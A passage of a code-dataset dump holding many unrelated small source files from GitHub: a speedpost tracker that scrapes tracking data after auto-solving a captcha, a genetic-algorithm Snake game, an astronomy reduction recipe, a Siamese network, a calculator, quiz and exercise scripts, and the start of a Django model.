BeautifulSoup(home_response.content, \"html.parser\")\n\n inputs = dom.find_all('input')\n\n for input in inputs:\n if 'value' in input.attrs:\n self.POST_DATA[input.attrs['name']] = input.attrs['value']\n else:\n self.POST_DATA[input.attrs['name']] = None\n\n self.captcha_url = dom.find(id=\"imgcap\").attrs['src']\n\n captcha_response = self.session.get(ROOT_URL + self.captcha_url)\n captcha_file = BytesIO()\n captcha_file.write(captcha_response.content)\n\n code = Captcha(captcha_file).crack()\n\n self.POST_DATA['txtCaptcha'] = code\n\n def track(self, id):\n details = {}\n self.POST_DATA['Txt_ArticleTrack'] = id\n response = self.session.post(HOME_URL, data=self.POST_DATA)\n dom = BeautifulSoup(response.content, \"html.parser\")\n\n general_details = dom.find(id=\"GridView1\").findAll('td')\n\n if len(general_details) < 7:\n return None\n\n details['id'] = dom.find(id='Label1').text.strip()\n details['origin'] = general_details[0].text.strip()\n details['booking_date'] = parser.parse(general_details[1].text.strip())\n details['pincode'] = general_details[2].text.strip()\n details['tariff'] = general_details[3].text.strip()\n details['category'] = general_details[4].text.strip()\n details['destination'] = general_details[5].text.strip()\n details['delivery_date'] = general_details[6].text.strip()\n details['delivered'] = (details['delivery_date'] != 'Not Available')\n\n details['events'] = []\n\n events = dom.find(id='GridView2').findAll('tr')[1:]\n for tr in events:\n event = {}\n data = tr.findAll('td')\n event['date'] = parser.parse(data[0].text.strip() + ' ' + data[1].text.strip() + ' IST')\n event['office'] = data[2].text.strip()\n event['description'] = data[3].text.strip()\n\n details['events'].append(event)\n\n return details\n\n\nif __name__ == '__main__':\n tracker = Tracker()\n print(json.dumps(tracker.track(\"EM870359070IN\"), cls=DateTimeEncoder, sort_keys=True, indent=4,\n separators=(',', ': ')))\n","repo_name":"republicofperl/speedpost","sub_path":"tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33029916674","text":"\"\"\"\nEscreva um programa que categorize cada mensagem de\ne-mail de acordo com o dia em que a mensagem foi enviada. Para\nisso, procure por linhas que comecem com “From”, depois procure pela\nterceira palavra e mantenha uma contagem de ocorrência para cada dia\nda semana. No final do programa, mostre em tela o conteúdo do seu\ndicionário (a ordem não interessa).\nlinha exemplo:\n\nFrom stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008\n\nExemplo de código:\npython dow.py\nEnter a file name: mbox-short.txt\n{'Sex': 20, 'Qui': 6, 'Sab': 1}\n\"\"\"\n\nfname = input(\"Digite o nome do arquivo:\")\ntry:\n fhand = open(fname)\nexcept:\n print('File cannot be opened:', fname)\n exit()\ncounts = dict()\nfor linha in fhand:\n if linha.startswith('From'):\n palavras = linha.split()\n for word in range(len(palavras)):\n if word == 2:\n if palavras[word] not in counts:\n counts[palavras[word]] = 1\n else:\n counts[palavras[word]] += 1\nprint(counts)\n ","repo_name":"somar07/Fundamentos-de-Python","sub_path":"dow.py","file_name":"dow.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8296897221","text":"from pygame import Rect\nimport random\nimport numpy as np\n\nfrom typing import Tuple, Optional, Union, Set, Dict, Any\nfrom misc import *\nfrom genetic_algorithm.individual import Individual\nfrom neural_network import FeedForwardNetwork, linear, sigmoid, tanh, relu, leaky_relu, ActivationFunction, get_activation_by_name\n\n\nclass Snake:\n \"\"\"Snake object for snake game.\n Attributes:\n - length\n - x\n - y\n - color\n - direction\n - boxSize\n - body\"\"\"\n\n def __init__(self, x, y, length, direction, boxSize,\n board_size: Tuple[int, int],\n chromosome: Optional[Dict[str, List[np.ndarray]]] = None,\n hidden_layer_architecture: Optional[List[int]] = [12, 20],\n hidden_activation: Optional[ActivationFunction] = 'relu',\n output_activation: Optional[ActivationFunction] = 'sigmoid'):\n self.x = x\n self.y = y\n self.length = length\n self.direction = direction\n self.boxSize = boxSize\n self.board_size = board_size\n self.body = []\n\n self._fitness = 0\n self.is_alive = True\n self.reach_apple = False\n self.apples = 0\n self.total_steps = 0\n self.steps = 0\n self.distance = 0\n\n self.winner = False\n self.champion = False\n\n self.hidden_layer_architecture = hidden_layer_architecture\n self.hidden_activation = hidden_activation\n self.output_activation = output_activation\n\n k1 = 0\n k2 = 0\n if self.direction == \"R\":\n k1 = -1\n if self.direction == \"L\":\n k1 = 1\n if self.direction == \"U\":\n k2 = 1\n if self.direction == \"D\":\n k2 = -1\n\n for i in range(self.length):\n tempRect = Rect(self.x + k1*i * self.boxSize,\n self.y + k2*i * self.boxSize, \n self.boxSize, self.boxSize)\n self.body.append(tempRect)\n self.head = self.body[0]\n\n # Setting up network architecture\n # Each \"Vision\" has 3 distances it tracks: wall, apple and self\n # there are also one-hot encoded direction and one-hot encoded tail direction,\n # each of which have 4 possibilities.\n num_inputs = 12 #@TODO: Add one-hot back in \n self.network_architecture = [num_inputs] # Inputs\n self.network_architecture.extend(self.hidden_layer_architecture) # Hidden layers\n self.network_architecture.append(4) # 4 outputs, ['u', 'd', 'l', 'r']\n self.network = FeedForwardNetwork(self.network_architecture,\n get_activation_by_name(self.hidden_activation),\n get_activation_by_name(self.output_activation)\n )\n\n # If chromosome is set, take it\n if chromosome:\n # self._chromosome = chromosomef\n self.network.params = chromosome\n # self.decode_chromosome()\n else:\n # self._chromosome = {}\n # self.encode_chromosome()\n pass\n\n \n\n @property\n def fitness(self):\n return self._fitness\n \n def calculate_fitness(self):\n # Give positive minimum fitness for roulette wheel selection\n # self._fitness = (2 ** self.apples + self.apples * 2.1) * 400 - self.total_steps * 2 + self.distance * 10\n # self._fitness = 100 * self.apples + self.distance - 0.1 * self.total_steps\n self._fitness = self.total_steps + (2 ** self.apples + 500 * self.apples ** 2.1) - (0.25 * self.total_steps ** 1.3 * self.apples ** 1.2) \n self._fitness = max(self._fitness, .1)\n\n def updateDirection(self, inputs):\n self.network.feed_forward(inputs)\n if self.network.out == 0:\n if self.direction != \"D\":\n self.direction = \"U\"\n elif self.network.out == 1:\n if self.direction != \"U\":\n self.direction = \"D\"\n elif self.network.out == 2:\n if self.direction != \"L\":\n self.direction = \"R\"\n elif self.network.out == 3:\n if self.direction != \"R\":\n self.direction = \"L\"\n\n def addHead(self):\n if self.direction == 'R':\n newHead = Rect(self.x + self.boxSize,\n self.y, self.boxSize, self.boxSize)\n elif self.direction == 'L':\n newHead = Rect(self.x - self.boxSize,\n self.y, self.boxSize, self.boxSize)\n elif self.direction == 'D':\n newHead = Rect(self.x,\n self.y + self.boxSize, self.boxSize, self.boxSize)\n elif self.direction == 'U':\n newHead = Rect(self.x,\n self.y - self.boxSize, self.boxSize, self.boxSize)\n self.body.insert(0, newHead)\n self.head = self.body[0]\n self.x = self.head.x\n self.y = self.head.y\n\n def deleteTail(self):\n del self.body[-1]\n\n def isDead(self):\n for part in self.body[1:]:\n if self.head.colliderect(part):\n return True\n return False\n\n def isOutOfBounds(self, max_width, max_height):\n if self.head.x > max_width - self.boxSize:\n return True\n elif self.head.x < 0:\n return True\n if self.head.y > max_height - self.boxSize:\n return True\n elif self.head.y < 0:\n return True\n return False\n\n def look(self, appleX, appleY):\n inputs = np.zeros((24, ))\n directions = [(0,1),(-1,1),(-1,0),(-1,-1),(0,-1),(1,-1),(1,0),(1,1)]\n for index, (i, j) in enumerate(directions):\n x_, y_ = self.head.x, self.head.y\n dis_to_apple = 0\n dis_to_wall = 0\n dis_to_body = 0\n apple_found = False\n body_found = False\n while x_ < self.board_size[0] - self.boxSize and x_ > 0 and\\\n y_ < self.board_size[1] - self.boxSize and y_ > 0:\n x_ += self.boxSize * i\n y_ += self.boxSize * j\n dis_to_wall += 1\n if not apple_found:\n dis_to_apple += 1\n if x_ == appleX and y_ == appleY:\n apple_found = True\n if not body_found:\n dis_to_body += 1\n if Rect(x_, y_, self.boxSize, self.boxSize) in self.body:\n body_found = True\n inputs[index * 3] = dis_to_wall\n inputs[index * 3 + 1] = dis_to_apple\n inputs[index * 3 + 2] = dis_to_body\n return inputs\n\n def reset(self):\n self._fitness = 0\n self.apples = 0\n self.is_alive = True\n self.steps = 0\n self.total_steps = 0\n self.distance = 0\n self.x = 200\n self.y = 200\n self.length = 3\n\n k1 = 0\n k2 = 0\n if self.direction == \"R\":\n k1 = -1\n if self.direction == \"L\":\n k1 = 1\n if self.direction == \"U\":\n k2 = 1\n if self.direction == \"D\":\n k2 = -1\n self.body = []\n for i in range(self.length):\n tempRect = Rect(self.x + k1*i * self.boxSize,\n self.y + k2*i * self.boxSize, \n self.boxSize, self.boxSize)\n self.body.append(tempRect)\n self.head = self.body[0]\n\n @property\n def chromosome(self):\n # return self._chromosome\n pass\n\n def encode_chromosome(self):\n # # L = len(self.network.params) // 2\n # L = len(self.network.layer_nodes)\n # # Encode weights and bias\n # for layer in range(1, L):\n # l = str(layer)\n # self._chromosome['W' + l] = self.network.params['W' + l].flatten()\n # self._chromosome['b' + l] = self.network.params['b' + l].flatten()\n pass\n\n def decode_chromosome(self):\n # # L = len(self.network.params) // 2\n # L = len(self.network.layer_nodes)\n # # Decode weights and bias\n # for layer in range(1, L):\n # l = str(layer)\n # w_shape = (self.network_architecture[layer], self.network_architecture[layer-1])\n # b_shape = (self.network_architecture[layer], 1)\n # self.network.params['W' + l] = self._chromosome['W' + l].reshape(w_shape)\n # self.network.params['b' + l] = self._chromosome['b' + l].reshape(b_shape)\n pass\n\n\nclass Apple:\n \"\"\"Apple Object for the snake game.\n Attributes:\n - boxLength\n - x\n - y\"\"\"\n\n def __init__(self, boxLength, x, y, color, board_x, board_y):\n self.boxLength = boxLength\n self.x = x\n self.y = y\n self.color = color\n self.board_x = board_x\n self.board_y = board_y\n self.rect = Rect(self.x, self.y, self.boxLength, self.boxLength)\n\n def move(self, avoid=None):\n # avoid: a list of (x,y)\n while True:\n random_x = random.randrange(0, (self.board_x - self.boxLength), self.boxLength)\n random_y = random.randrange(0, (self.board_y - self.boxLength), self.boxLength)\n if avoid == None or not (random_x, random_y) in avoid:\n break\n\n self.rect = Rect(random_x, random_y, self.boxLength, self.boxLength)\n self.x = random_x\n self.y = random_y\n\nclass Wall():\n \"\"\"\n Wall Object\n \"\"\"\n\n def __init__(self, size, body):\n\n self.size = size\n self.pos = []\n self.body = []\n\n def reset_pos(self, mode=0, pos=None):\n \"\"\" Reset Wall, modes:\n - -1: empty (no walls)\n - 0: only four walls\n - 1: random obstacles\n - 2: user-input walls\n \"\"\"\n self.pos = []\n\n if mode == 0:\n None\n\n if mode == 1:\n None\n\n if mode == 2:\n self.pos = pos\n\n \n\n def reset_body(self):\n # reset body of wall using self.pos\n\n self.body = []\n for (x,y) in self.pos:\n body.append(Rect(x, y, self.size, self.size))\n","repo_name":"Alexduanran/GeneticAlphaGame","sub_path":"Snake Genetic/snakeClass.py","file_name":"snakeClass.py","file_ext":"py","file_size_in_byte":10184,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42971782693","text":"\"\"\"\nRecipes available to data with tags ['GSAOI', 'IMAGE']\nDefault is \"reduce_nostack\".\n\"\"\"\nrecipe_tags = {'GSAOI', 'IMAGE'}\n\ndef reduce_nostack(p):\n \"\"\"\n This recipe reduce GSAOI up to but NOT including alignment and stacking.\n It will attempt to do flat correction if a processed calibration is\n available. Sky subtraction is done when possible. QA metrics are\n measured.\n\n Parameters\n ----------\n p : PrimitivesBASE object\n A primitive set matching the recipe_tags.\n \"\"\"\n\n p.prepare()\n p.addDQ()\n p.nonlinearityCorrect()\n p.ADUToElectrons()\n p.addVAR(read_noise=True, poisson_noise=True)\n p.flatCorrect()\n p.detectSources(detect_thresh=5., analysis_thresh=5., back_size=128)\n p.measureIQ(display=True)\n p.measureBG()\n p.addReferenceCatalog(source='2mass')\n p.determineAstrometricSolution()\n p.measureCC()\n p.addToList(purpose='forSky')\n p.getList(purpose='forSky', max_frames=9)\n p.separateSky()\n p.associateSky()\n p.skyCorrect()\n p.detectSources(detect_thresh=5., analysis_thresh=5., back_size=128)\n p.measureIQ(display=True)\n p.determineAstrometricSolution()\n p.measureCC()\n # p.scaleCountsToReference() # not really necessary in QA.\n p.writeOutputs()\n return\n\n# The nostack version is used because stacking of GSAOI is time consuming.\n_default = reduce_nostack\n","repo_name":"GeminiDRSoftware/DRAGONS","sub_path":"geminidr/gsaoi/recipes/qa/recipes_IMAGE.py","file_name":"recipes_IMAGE.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"48"} +{"seq_id":"7404933712","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Layer, Conv2D, Dense, MaxPooling2D, Input, Flatten\nimport os\n\ndef _make_embedding(): \n inp = Input(shape=(105,105,3), name='input_image')\n \n # First block\n c1 = Conv2D(64, (10,10), activation='relu')(inp)\n m1 = MaxPooling2D(64, (2,2), padding='same')(c1)\n \n # Second block\n c2 = Conv2D(128, (7,7), activation='relu')(m1)\n m2 = MaxPooling2D(64, (2,2), padding='same')(c2)\n \n # Third block \n c3 = Conv2D(128, (4,4), activation='relu')(m2)\n m3 = MaxPooling2D(64, (2,2), padding='same')(c3)\n \n # Final embedding block\n c4 = Conv2D(256, (4,4), activation='relu')(m3)\n f1 = Flatten()(c4)\n d1 = Dense(4096, activation='sigmoid')(f1)\n \n \n return Model(inputs=[inp], outputs=[d1], name='embedding')\n\nembedding = _make_embedding()\n\n# Siamese L1 Distance class\nclass L1Dist(Layer):\n \n # Init method - inheritance\n def __init__(self, **kwargs):\n super().__init__()\n \n # Magic happens here - similarity calculation\n def call(self, input_embedding, validation_embedding):\n return tf.math.abs(input_embedding - validation_embedding)\n \nl1 = L1Dist()\n\n# making a new siamese model\ndef make_siamese_model(): \n \n # Anchor image input in the network\n input_image = Input(name='input_img', shape=(105,105,3))\n \n # Validation image in the network \n validation_image = Input(name='validation_img', shape=(105,105,3))\n \n # Combine siamese distance components\n siamese_layer = L1Dist()\n siamese_layer._name = 'distance'\n distances = siamese_layer(embedding(input_image), embedding(validation_image))\n \n # Classification layer \n classifier = Dense(1, activation='sigmoid')(distances)\n \n return Model(inputs=[input_image, validation_image], outputs=classifier, name='SiameseNetwork')\n\n\n# loading existing siamese model\nsiamese_model = tf.keras.models.load_model( os.path.abspath( '/Users/arjunq21/Documents/python/presence-ai/siamese_modelv2.h5'), \n custom_objects={'L1Dist':L1Dist, 'BinaryCrossentropy':tf.losses.BinaryCrossentropy})\n\n\n\n\n\n# def resize_image(image_path): \n# make_sure_image_exists(image_path)\n# image = cv2.imread(image_path)\n# height, width, _ = image.shape\n# print(\"Resizing image: {}x{}\".format(height, width))\n# if height > width:\n# new_height = 1000\n# new_width = int(width * (1000/height))\n# else:\n# new_width = 1000\n# new_height = int(height * (1000/width))\n# resized_image = cv2.resize(image, (new_width, new_height))\n# cv2.imwrite(image_path, resized_image)\n# return 0\n\n# def preprocess(image_path):\n# make_sure_image_exists(image_path)\n# byte_image = tf.io.read_file(image_path)\n# # print(byte_image)\n# img = tf.io.decode_jpeg(byte_image)\n# # print(img)\n# # plt.imshow(img)\n# img = tf.image.resize(img, (105, 105))\n\n# img = img / 255.0 \n# # plt.imshow(img)\n# # plt.n\n# return img\n\n\n\n# def image_needs_resizing(image_path):\n# make_sure_image_exists(image_path)\n# image = cv2.imread(image_path)\n# height, width, _ = image.shape\n# if height > 1000 or width > 1000:\n# return True\n# return False\n\n# def resize_image(image_path): \n# make_sure_image_exists(image_path)\n# image = cv2.imread(image_path)\n# height, width, _ = image.shape\n# print(\"Resizing image: {}x{}\".format(height, width))\n# if height > width:\n# new_height = 1000\n# new_width = int(width * (1000/height))\n# else:\n# new_width = 1000\n# new_height = int(height * (1000/width))\n# resized_image = cv2.resize(image, (new_width, new_height))\n# cv2.imwrite(image_path, resized_image)\n# return 0","repo_name":"arjunQ21/presence-ai","sub_path":"src/siamese_model.py","file_name":"siamese_model.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37336165443","text":"from itertools import takewhile\n\nfrom .procparams import ProcParams\n\n\nclass GainCompParams(ProcParams):\n\n @staticmethod\n def get_default_signal_type():\n return 'mixed'\n\n @staticmethod\n def get_port_info():\n return {\n 'in_00': 'audio L',\n 'in_01': 'audio R',\n 'out_00': 'audio L',\n 'out_01': 'audio R',\n }\n\n _NODES_MAX = 256\n\n @staticmethod\n def get_max_node_count():\n return GainCompParams._NODES_MAX\n\n def __init__(self, proc_id, controller):\n super().__init__(proc_id, controller)\n\n def get_mapping_enabled(self):\n return self._get_value('p_b_map_enabled.json', False)\n\n def set_mapping_enabled(self, enabled):\n self._set_value('p_b_map_enabled.json', enabled)\n\n def is_mapping_symmetric(self):\n env = self.get_mapping()\n return (env['nodes'][0][0] == 0)\n\n def set_mapping_symmetric(self, make_symmetric):\n if self.is_mapping_symmetric() == make_symmetric:\n return\n\n orig_env = self.get_mapping()\n orig_nodes = orig_env['nodes']\n\n if make_symmetric:\n new_nodes = []\n\n first_nonneg_index = len(list(takewhile(lambda n: n[0] < 0, orig_nodes)))\n nonneg_nodes = orig_nodes[first_nonneg_index:]\n if nonneg_nodes[0][0] != 0:\n last_neg_x, last_neg_y = orig_nodes[first_nonneg_index - 1]\n first_pos_x, first_pos_y = nonneg_nodes[0]\n lerp_t = -last_neg_x / (-last_neg_x + first_pos_x)\n new_nodes = [\n [0, max(0, last_neg_y + (first_pos_y - last_neg_y) * lerp_t)]]\n\n new_nodes += [[x, max(0, y)] for x, y in nonneg_nodes]\n\n else:\n if len(orig_nodes) * 2 <= self._NODES_MAX:\n centre_nodes = []\n if tuple(orig_nodes[0]) != (0, 0):\n _, first_y = orig_nodes[0]\n second_x, _ = orig_nodes[1]\n new_first_x = min(0.0001, second_x * 0.5)\n centre_nodes = [[-new_first_x, -first_y], [new_first_x, first_y]]\n else:\n centre_nodes = [[0, 0]]\n\n pos_nodes = orig_nodes[1:]\n neg_nodes = [[-x, -y] for x, y in reversed(pos_nodes)]\n new_nodes = neg_nodes + centre_nodes + pos_nodes\n else:\n new_nodes = [[-1, -1]] + orig_nodes[1:]\n\n new_env = { 'nodes': new_nodes, 'smooth': orig_env['smooth'] }\n self.set_mapping(new_env)\n\n def get_mapping(self):\n ret_env = { 'nodes': [ [-1, -1], [1, 1] ], 'smooth': False }\n stored_env = self._get_value('p_e_map.json', None) or {}\n ret_env.update(stored_env)\n return ret_env\n\n def set_mapping(self, envelope):\n nodes = [(x, y) for x, y in envelope['nodes']]\n assert len(nodes) <= self._NODES_MAX\n assert nodes[-1][0] == 1\n assert all(x1 < x2 for x1, x2 in zip(nodes, nodes[1:]))\n if nodes[0][0] == -1:\n assert all(-1 <= y <= 1 for _, y in nodes)\n elif nodes[0][0] == 0:\n assert all(0 <= y <= 1 for _, y in nodes)\n else:\n assert False\n\n self._set_value('p_e_map.json', envelope)\n\n\n","repo_name":"Jasu/kunquat","sub_path":"kunquat/tracker/ui/model/procparams/gaincompparams.py","file_name":"gaincompparams.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"8000537224","text":"import turtle\nimport pandas\n\nscreen = turtle.Screen()\nscreen.title(\"U.S States Game\")\nimage = 'blank_states_img.gif'\nscreen.addshape(image)\n\nturtle.shape(image)\ncorrect_state_count = 0\ncorrect_guess = []\nstates = pandas.read_csv('50_states.csv')\nstates_list = states.state.to_list()\n\nwhile len(correct_guess) < 50:\n answer = screen.textinput(title=f\"{len(correct_guess)}/50 States Correct\", prompt=\"What's another state name?\").title()\n if answer == \"Exit\":\n states_to_learn = [state for state in states_list if state not in correct_guess]\n new_dict = {'States to learn': states_to_learn}\n df = pandas.DataFrame(new_dict)\n df.to_csv('states_to_learn.csv')\n break\n if answer in states_list:\n correct_guess.append(answer)\n writer = turtle.Turtle()\n writer.hideturtle()\n x_cor = int(states[states['state'] == f\"{answer}\"].x)\n y_cor = int(states[states['state'] == f\"{answer}\"].y)\n writer.penup()\n writer.goto(x_cor, y_cor)\n writer.write(f\"{answer}\", align=\"center\", font=(\"courier\", 10, \"normal\"))\n","repo_name":"Mayank-2011/python-projects","sub_path":"US States Quiz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72030415506","text":"# !D:/Code/python\n# -*- coding:utf-8 -*-\n# @Author : Clint\n# @Question : \n# @Thinking :\n\nclass Solution:\n def findAnagrams(self, s: str, p: str):\n from collections import defaultdict\n need, window = defaultdict(int), defaultdict(int)\n for i in p:\n need[i] += 1\n\n left, right, valid = 0, 0, 0\n res = []\n\n while right < len(s):\n c = s[right]\n right += 1\n if c in need:\n window[c] += 1\n if window[c] <= need[c]:\n valid += 1\n\n while valid >= len(p):\n if right - left == len(p):\n res.append(left)\n\n d = s[left]\n left += 1\n\n if d in need:\n if window[d] == need[d]:\n valid -= 1\n window[d] -= 1\n return res\n\n\ns = Solution()\nprint(s.findAnagrams(\"baa\", \"aa\"))\n","repo_name":"Clint-cc/Leecode","sub_path":"力扣/方法分类/滑动窗口/438-找到字符串所以字符异位词.py","file_name":"438-找到字符串所以字符异位词.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10489209623","text":"import os\nimport math\n\nclass Calc:\n\n # Задание 5\n\n def __init__():\n a = 0\n\n def str_simple():\n print('Введите строку с операцией (* или +): ', end = '')\n op = input()\n\n if op == '*':\n str_1 = str(input('Введите строчку, которую нужно умножить: '))\n try:\n multi_str = int(input('Введите количество повторений строки выше (число): '))\n except ValueError:\n print('Это должно быть число!')\n else:\n print(str_1*multi_str)\n\n elif op == '+':\n str_1 = str(input('Введите первую строку для сложения: '))\n multi_str = str(input('Введите вторую строку для сложения: '))\n print(str_1 + multi_str)\n\n else:\n print('Вы должны ввести \"*\" или \"+\"!')\n\ndef calc_extended():\n \n # Задание 2\n \n print(\"\\nРасширенные операции:\")\n print(\" 1. Возведение в степень\")\n print(\" 2. Остаток от деления\")\n print(\" 3. Нахождение корня\\n\")\n definition = int(input(\"Выберите номер действия: \"))\n \n if definition == 1:\n try:\n num = int(input(\"Введите число: \"))\n power = int(input(\"Введите степень: \"))\n a = num ** power\n except ValueError:\n print(\"Некорректный ввод\")\n calc_extended()\n else:\n print(\"Результат: \" + str(num ** power))\n elif definition == 2:\n try:\n num = int(input(\"Введите первое число: \"))\n num2 = int(input(\"Введите второе число: \"))\n a = num % num2\n except ValueError:\n print(\"Некорректный ввод\")\n calc_extended()\n else:\n print(\"Остаток от деления: \" + str(num % num2))\n elif definition == 3:\n try:\n num = int(input(\"Введите число: \"))\n a = num ** 0.5\n except ValueError:\n print(\"Некорректный ввод\")\n calc_extended()\n else:\n print(\"Результат: \" + str(num ** 0.5))\n else:\n print(\"Не��орректный ввод\")\n \ndef calc_degrees():\n\n # Задание 3\n\n print(\"Если хотите посчитать синус то введите 1\")\n print(\"Если хотите посчитать косинус то введите 2\")\n a=int(input())\n if(a==1):\n print(\"Введите угол в градусах\")\n i=int(input())\n rad=i/360*math.pi*2\n print(math.sin(rad))\n elif(a==2):\n print(\"Введите угол в градусах\")\n i=int(input())\n rad = i / 360 * math.pi * 2\n print(math.cos(rad))\n print()\n else: print(\"Неверный ввод\")\n calc_degrees()\n \ndef str_words():\n \n # Задание 6\n \n string = input(\"Введите строку: \")\n print(str(len(string)) + \" \" + str(len(string.split())))\n \ndef menu_numbers():\n\n # Задание 4\n\n print(\"Добро пожаловать в калькулятор чисел. Вам доступны следующие функции:\")\n print(\" 1. Простые операции\")\n print(\" 2. Расширенные операции\")\n print(\" 3. Тригонометрические действия с градусами\\n\")\n type = int(input(\"Выберите номер действия: \"))\n\n if type == 1:\n calc_simple()\n elif type == 2:\n print(2)\n elif type == 3:\n calc_degrees()\n else:\n print(\"Некорректный ввод\")\n \ndef calc_simple():\n \n # Задание 1\n \n print('+ - * /')\n print('Введите первое число')\n try:\n first = int(input())\n except ValueError:\n print('Неправильный тип вроде')\n os.abort()\n print('Введите второе число')\n try:\n second = int(input())\n except ValueError:\n print('Неправильный тип вроде')\n os.abort()\n print('Введите операцию')\n try:\n operation = input()\n except ValueError:\n print('Неправильный тип вроде')\n os.abort()\n if operation =='+':\n ravno = first + second\n print(ravno)\n elif operation =='-':\n ravno = first - second\n print(ravno)\n elif operation =='*':\n ravno = first * second\n print(ravno)\n elif operation =='/':\n try:\n ravno = first / second\n except ZeroDivisionError:\n print('Невозможно')\n print('Делить на ноль...Серьезно?')\n ravno = 42\n else:\n print(ravno)\n else:\n print('Wrong operation') \n \ndef menu_strings():\n \n # Задание 7\n \n print('Добро пожаловать в калькулятор строк!')\n print('Если вы хотите совершить простые операции со строками, нажмите \"1\".')\n print('Если вы хотите подсчитать количество слов или символов в тексте, нажмите \"2\".')\n while 1 == 1:\n a = input()\n if a == '1':\n str_simple()\n pass\n elif a == '2':\n str_words()\n pass\n else:\n print('Неверный ввод. Пожалуйста, попробуйте еще раз.')\n \ndef menu():\n # Задание 8\n print(\"Привествую вас в приложении калькулятор!\")\n print(\"Если вы хотите посчитать числа введите 1\")\n print(\"Если вы хотите посчитать строки введите 2\")\n a=int(input())\n if(a==1):\n print(\"Запуск калькулятора чисел\") # тут должкен быть каль чисел\n menu_numbers()\n pass\n elif(a==2):\n print(\"Запуск калькулятора строк\") # тут доложен быть каль строк\n menu_strings()\n pass\n else:\n print(\"Некорректный ввод\")\n menu()\n pass\n\n\ndef main():\n\n pass\n\nif __name__ == '__main__':\n main()\n","repo_name":"rugrisser/python_calc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70197251986","text":"def zip_test():\n # zip函数,可迭代对象合并,bulk_predict\n # 也是按照docs的顺序的\n # 创建两个列表\n names = [\"Alice\", \"Bob\", \"Charlie\", \"hello\"]\n scores = [95, 88, 75]\n\n # 使用zip将两个列表合并成元组的序列\n combined = zip(names, scores)\n\n # 遍历合并后的序列并打印\n for item in combined:\n print(item)\n\n\ndef list_test():\n list1 = [1, 2]\n print(len(list1))\n\n\nif __name__ == '__main__':\n zip_test()\n list_test()\n","repo_name":"zl2knmz/pythonProject","sub_path":"test/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16151527813","text":"\nimport numpy as np\nimport sklearn.metrics as metr\nfrom typing import *\n\n\ndef evaluate_class_predictions(prediction: np.ndarray,\n ground_truth: np.ndarray,\n labels: np.ndarray,\n verbosity: bool = False) -> Tuple[float, ...]:\n \"\"\"\n Function for evaluating the performance of a model that returns classes as predictions (not class probabilities).\n Works for binary case and multi-class case.\n :param prediction: Class predictions of the model.\n :param ground_truth: Ground truth classes.\n :param labels: Array containing all possible unique labels..\n :param verbosity: Whether to print computed performance metrics, or not.\n :return: None\n \"\"\"\n accuracy = metr.accuracy_score(y_true=ground_truth, y_pred=prediction)\n precision = metr.precision_score(y_true=ground_truth, y_pred=prediction,\n labels=labels, average=None, zero_division=0)\n recall = metr.recall_score(y_true=ground_truth, y_pred=prediction,\n labels=labels, average=None, zero_division=0)\n f1 = metr.f1_score(y_true=ground_truth, y_pred=prediction,\n labels=labels, average=None, zero_division=0)\n\n if verbosity:\n for l in labels:\n print(f\"Predicted label {l} for {(prediction == l).sum()} samples, {(ground_truth == l).sum()} are in gt.\")\n np.set_printoptions(precision=4)\n print(f\"## Accuracy: {np.round(accuracy, decimals=4)}\")\n print(f\"## Precision: {precision}, avg: {np.round(np.mean(precision), decimals=4)}\")\n print(f\"## Recall: {recall}, avg: {np.round(np.mean(recall), decimals=4)}\")\n print(f\"## F1-score: {f1}, avg: {np.round(np.mean(f1), decimals=4)}\")\n\n return accuracy, precision, recall, f1\n\n","repo_name":"PaMartini/ml_project","sub_path":"src/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15273988021","text":"N, M = map(int, input().split())\n\ndef dfs(v):\n global cnt\n if v == M:\n for i in ch:\n print(i, end=' ')\n cnt += 1\n print()\n else:\n for i in range(1, N + 1):\n ch[v] = i\n dfs(v + 1)\n\ncnt = 0\nch = [0 for _ in range(M)]\ndfs(0)\nprint(cnt)","repo_name":"gkdbssla97/Python-Coding-Test","sub_path":"CodingProblem/중복순열_구하기.py","file_name":"중복순열_구하기.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"19507383449","text":"from django.db import models\nfrom django_prometheus.models import ExportModelOperationsMixin\n\nfrom teams.models import Team\nfrom utils.models import CreatedUpdatedModel\n\n\nclass Type(ExportModelOperationsMixin(\"type\"), CreatedUpdatedModel):\n \"\"\"\n The events.Type model contains different types of system events which can happen.\n New event types should be added in data migrations.\n The following types are currently used in the codebase:\n - ticket_created: Whenever a new ShopTicket is created\n - public_credit_name_changed: Whenever a user changes public_credit_name in the profile\n \"\"\"\n\n name = models.TextField(unique=True, help_text=\"The type of event\")\n\n irc_notification = models.BooleanField(\n default=False,\n help_text=\"Check to send IRC notifications for this type of event.\",\n )\n\n email_notification = models.BooleanField(\n default=False,\n 